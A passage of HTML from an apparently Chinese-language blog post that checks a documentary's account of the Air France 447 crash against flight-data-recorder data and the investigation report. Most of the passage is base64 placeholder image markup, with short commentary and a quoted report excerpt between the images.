DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/1-1-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/1-2-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/1-1-fdr.png" alt=""></p><br><p>接下来,该片中表示“即使另一名飞行员罗伯特告诉博南需要推杆,博南仍然一直在拉杆”;然而,FDR数据显示博南听从了罗伯特的建议,开始推杆(模拟动画中可以很明显看见右座侧杆在“nose down”位)。同时,ECAM上显示了最大速度,调查报告中表示这可能使机组更担心飞机超速而非失速,然而该细节没有展示在该片中。<br>接下来博南因为对当前情况的困惑再次开始拉杆。<br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/2-1-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/2-1-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/2-2-fdr.png" alt=""></p><br><p>此时,飞机陷入失速开始坠落,该片中表示“罗伯特接手控制,他开始推杆以改出失速,但博南仍在拉杆,他们的输入完全相反导致互相抵消了”;而现实是,罗伯特的确尝试接手,但是他只是向左扳了两下侧杆,然后控制权就又被博南抢走了。<br>调查报告原文如下:</p><blockquote><p>At 2 h 11 min 37, the PNF said “controls to the left”, took over priority without any callout and continued to handle the aeroplane. The PF almost immediately took back priority without any callout and continued piloting.</p></blockquote><p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/3-1-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/T